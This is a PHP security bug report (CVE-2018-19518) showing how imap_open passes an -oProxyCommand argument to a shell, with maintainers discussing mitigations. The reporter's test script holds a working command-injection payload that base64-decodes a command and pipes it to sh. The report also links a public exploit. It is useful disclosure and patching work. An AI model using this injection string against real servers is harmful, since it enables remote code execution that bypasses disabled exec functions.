Home Original page

imap_open allows to run arbitrary shell commands via mailbox parameter

Sec Bug #77153 imap_open allows to run arbitrary shell commands via mailbox parameter
Submitted: 2018-11-14 17:54 UTC Modified: 2019-01-31 23:26 UTC
From: azjezz at protonmail dot com Assigned: stas (profile)
Status: Closed Package: IMAP related
PHP Version: 5.6.38 OS: Debian-like ( debian / ubuntu )
Private report: No CVE-ID: 2018-19518

 [2018-11-14 17:54 UTC] azjezz at protonmail dot com

Description:
------------
Bypassing disabled exec functions in PHP via imap_open (Debian & Ubuntu)

this bug has already been made public : 

- https://antichat.com/threads/463395/#post-4254681
- https://github.com/Bo0oM/PHP_imap_open_exploit

Test script:
---------------
<?php

# echo '1234567890'>/tmp/test0001

// $server = $_POST['server'] ??? 
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";

imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports

 [2018-11-14 17:58 UTC] azjezz at protonmail dot com

-Operating System: Debin-like ( debin / ubuntu ) +Operating System: Debian-like ( debian / ubuntu )

 [2018-11-14 17:58 UTC] azjezz at protonmail dot com

fix typo in os name

 [2018-11-14 18:07 UTC] stas@php.net

Huh, imap library just runs external commands with no escaping whatsoever? This sucks :(

I guess we need to add some filters there. Not sure whether this ssh/rsh thing is even useful... But we probably could at least filter the hostname.

 [2018-11-14 18:08 UTC] stas@php.net

-Summary: bypass disabled exec function +Summary: imap_open allows to run arbitrary shell commands via mailbox parameter

 [2018-11-14 19:11 UTC] stas@php.net

And mailbox parsing happens inside c-client, so we have no control over it. Looks like we'd have to disassemble the mbox string, validate it and re-assemble it back. Maybe also add /norsh by default.

 [2018-11-15 15:44 UTC] cmb@php.net

> Maybe also add /norsh by default.

Iff that would resolve the RCE vulnerability, we may consider
to disable rsh support globally.  From imap.2007f/docs/FAQ.txt:

| You can disable rsh globally by setting the rsh timeout value
| to 0 with the call:
| mail_parameters (NIL,SET_RSHTIMEOUT,0);

Calling this in MINIT[1] *might* be sufficient.

Anyhow, since this issue is already lively discussed in public, I
think we have to hurry up with a solution.

[1] <https://gist.github.com/cmb69/b3ca981599bf21004c6417ab64dea4b7#file-disable-rsh-globally-patch>

 [2018-11-15 19:35 UTC] stas@php.net

Would this also disable SSH functionality? Because there's also ssh (which seems to be different branch from rsh, though on Debian it's the same thing in fact, but not on other systems) and it may be vulnerable too. 

It is also BC break so we'd probably have to announce it and put it into UPGRADING.

 [2018-11-15 20:00 UTC] stas@php.net

OK, there's also SET_SSHTIMEOUT, so probably we'd need to do both of them. We may allow a way to enable them back though, in case anybody needs it (doubtful, but who knows?)

 [2018-11-15 20:04 UTC] azjezz at protonmail dot com

-Summary: imap_open allows to run arbitrary shell commands via mailbox parameter +Summary: bypass disabled exec function

 [2018-11-15 20:04 UTC] azjezz at protonmail dot com

i think maybe adding a `php.ini` directive for it defaulting to 0 should do it.

example :

imap.set_rshtimeout=0
imap.set_sshtimeout=0

 [2018-11-15 20:07 UTC] azjezz at protonmail dot com

-Summary: bypass disabled exec function +Summary: imap_open allows to run arbitrary shell commands via mailbox parameter

 [2018-11-15 20:07 UTC] azjezz at protonmail dot com

revert summary change

 [2018-11-16 00:16 UTC] cmb@php.net

Indeed, (a) new ini option(s) might be appropriate for BC reasons.
I think we should reduce these to a minimum (maybe just a boolean
imap.allow_sh).

FTR: not only imap_open() seems to be affected by this issue, but
also imap_createmailbox() and imap_append() and maybe others.

 [2018-11-18 20:57 UTC] stas@php.net

-PHP Version: Irrelevant +PHP Version: 5.6.38

 [2018-11-19 01:13 UTC] stas@php.net

The patch is for 5.6, I'll upmerge it of course.

 [2018-11-19 01:13 UTC] stas@php.net

-Assigned To: +Assigned To: stas

 [2018-11-19 21:08 UTC] stas@php.net

Opening it since it's essentially in public anyway.

 [2018-11-20 07:23 UTC] c dot r dot l dot f at yandex dot ru

Guys this is the same research from #76428 which you totally ignored.

 [2018-11-20 07:27 UTC] c dot r dot l dot f at yandex dot ru

stas@php.net knew about this from 2018-06-20.

 [2018-11-20 07:44 UTC] stas@php.net

Yes, I did not realize at the time c-client is essentially a dead project and is not going to be fixed. Now I realize that so it looks like we need to mitigate it in PHP (even though it's not directly a PHP issue).

 [2018-11-21 01:54 UTC] stas@php.net

-Status: Assigned +Status: Closed

 [2018-12-03 09:15 UTC] remi@php.net

-CVE-ID: needed +CVE-ID: 2018-19158

 [2018-12-11 16:42 UTC] anarcat at debian dot org

CVE-2018-19158 is a typo. mitre actually allocated CVE-2018-19518 instead, see also https://www.openwall.com/lists/oss-security/2018/12/05/2

could some php.net fix the metadata here? I'll request Mitre reserve the erroneous CVE since it's been used in some other places already and should probably be discarded to avoid the confusion.

 [2019-01-31 23:26 UTC] stas@php.net

-CVE-ID: 2018-19158 +CVE-ID: 2018-19518